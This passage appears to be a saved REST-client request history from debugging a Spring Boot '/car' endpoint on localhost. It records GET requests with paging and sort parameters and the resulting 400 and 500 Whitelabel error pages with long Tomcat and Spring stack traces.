org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":28.0,\"second\":36.0,\"nano\":5.684184E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":0.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":0.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":0.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:29:57 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 2\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 2 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;page\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.page,typeMismatch.page,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.page,page]; arguments []; default message [page]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;size\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.size,typeMismatch.size,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.size,size]; arguments []; default message [size]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":29.0,\"second\":57.0,\"nano\":8.709826E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":1.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":1.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?sort.orders.nullHandling\\u003dNATIVE\\u0026sort.orders\\u003d\\u0026sort.orders.direction\\u003dASC\\u0026size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort.orders.property\\u003d\\u0026sort.orders.ignoreCase\\u003dfalse\\u0026carId\\u003d\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:32:00 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003cdiv\\u003eFailed to instantiate [org.springframework.data.domain.PageRequest]: Constructor threw exception; nested exception is java.lang.IllegalArgumentException: Sort must not be null\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.data.domain.PageRequest]: Constructor threw exception; nested exception is java.lang.IllegalArgumentException: Sort must not be null\\r\\n\\tat org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:224)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:332)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\nCaused by: java.lang.IllegalArgumentException: Sort must not be null\\r\\n\\tat org.springframework.util.Assert.notNull(Assert.java:201)\\r\\n\\tat org.springframework.data.domain.PageRequest.\\u0026lt;init\\u0026gt;(PageRequest.java:47)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)\\r\\n\\tat sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)\\r\\n\\tat java.lang.reflect.Constructor.newInstance(Constructor.java:423)\\r\\n\\tat org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:211)\\r\\n\\t... 51 more\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":32.0,\"second\":0.0,\"nano\":7.778263E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":0.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":0.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":0.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:32:05 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 2\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 2 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;page\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.page,typeMismatch.page,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.page,page]; arguments []; default message [page]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;size\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.size,typeMismatch.size,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.size,size]; arguments []; default message [size]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat 